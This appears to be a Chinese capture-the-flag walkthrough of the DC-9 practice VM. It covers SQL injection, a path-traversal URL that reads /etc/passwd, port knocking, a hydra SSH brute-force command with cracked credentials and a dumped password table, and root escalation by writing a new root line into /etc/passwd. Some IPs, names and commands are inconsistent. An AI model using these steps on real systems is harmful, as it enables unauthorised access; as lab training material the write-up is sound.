dc9靶场通关

一、扫描探测

靶机开放22和80端口

二、sql注入

在网站的search界面,发现存在注入点:

使用bp抓包,*标注注入点:

得到staff和users信息

爆库得到两个表的内容,其中staff中的密码是MD5值,sqlmap破解得到为transorbital1

登录管理界面后,发现出现一个文件不存在的提示:

尝试一下,发现有文件包含的问题,通过文件包含,可以知道常见的几个ssh用户名

http://192.168.136.202/welcome.php?file=../../../../../etc/passwd

三、关于knocked机制

knockd 主要的目的是希望可以动态的修改防火墙规则,他的运作流程是这样的:

  1. 服务器端的防火墙规则中先开放三个左右的端口口,这些端口口没有被其他程序激活,且可由 knockd 所侦测;
  2. 用户端若依照设置的顺序依序的连接到这三个端口口时, knockd 将进行动态防火墙规则的设置
  3. 防火墙规则被修改,且 knockd 持续进行侦测;
  4. 当用户端让 knockd 等候逾时,或者是用户端脱机后,刚刚步骤三的防火墙规则将会被移除

knock的配置文件在etc/knocked.conf中

依据序列敲门:

让防火墙开放ssh端口

四、hydra爆破

|----|------------|---------------|------------------|-----------|-----------|
| id | lastname | password | reg_date | username | firstname |
| 1 | Moe | 3kfs86sfd | 2019/12/29 16:58 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019/12/29 16:58 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019/12/29 16:58 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019/12/29 16:58 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019/12/29 16:58 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019/12/29 16:58 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019/12/29 16:58 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019/12/29 16:58 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019/12/29 16:58 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019/12/29 16:58 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019/12/29 16:58 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019/12/29 16:58 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019/12/29 16:58 | monicag | Monica |
| 14 | Buffay | smellycats | 2019/12/29 16:58 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019/12/29 16:58 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019/12/29 16:58 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019/12/29 16:58 | janitor2 | Scott |

根据这个用户名和密码库,生成字典,直接爆破。

hydra -q -L users.txt -P passwords.txt ssh://192.168.1.202 -o valid_logins.txt

|---------------------------------------------------------------------------------------|
| 22ssh host: 192.168.136.202 misc: (null) login: chandlerb password: UrAG0D! |
| 22ssh host: 192.168.136.202 misc: (null) login: joeyt password: Passw0rd |
| 22ssh host: 192.168.136.202 misc: (null) login: janitor password: Ilovepeepee |

然后分别登录这3个用户,发现janitor/Passw0rd,这个用户有隐藏文件。

把这些密码加入之前的密码文件中,继续爆破,得到新用户和密码:

22ssh host: 192.168.1.148 login: fredf password: B4-Tru3-001

登录后发现,有一个文件有sudo权限,但是是root权限创建的不能修改。

发现对应的是一个python脚本,可以写入文件

五、密码写入

即使系统启用了 shadow(/etc/passwd 中是 x),如果你手动将某个用户的密码字段从 x 改为实际哈希(如 $1$...),大多数 Linux 系统仍然会优先使用 /etc/passwd 中的密码进行认证!

换句话说:/etc/passwd 中的密码字段如果不是 x,就会覆盖 /etc/shadow 的设置

利用这个原理和上述脚本,可以写入一个新的root用户

/etc/passwd的格式为:

username:encrypted_password:UID:GID:GECOS:home_dir:shell

echo 'sb:1haha$T7nt1ThchynsrEviA0KLT0:0:0::/root:/bin/bash' 2.txt

整个过程如下:

相关推荐
kisbad10 小时前
Day 036|OpenAI Agents SDK 快速开始:今天跑通第一个 Agent
java·前端·javascript
憧憬成为java架构高手的小白10 小时前
langchain4j框架学习
java
乐观勇敢坚强的老彭11 小时前
C++ 竞赛常用算法模板速查表
开发语言·c++·算法
0x5311 小时前
Java网络编程(四)
java·网络
离陌在学C#11 小时前
C# 泛型:从基础到高级应用
开发语言·c#
ly768911 小时前
Java 设计模式详解:从原则到 23 种经典模式
java·开发语言·设计模式
SomeB1oody11 小时前
【RustyML入门】2.13. 孤立森林
开发语言·后端·机器学习·rust·教程
萧瑟余晖11 小时前
Java深入解析篇三十之Java日志框架
java·开发语言
Herbert_hwt11 小时前
【C语言基础】常量、选择结构与运算符全解析
c语言·开发语言·算法
AI视觉网奇12 小时前
动作识别 视频理解大模型
开发语言·python·音视频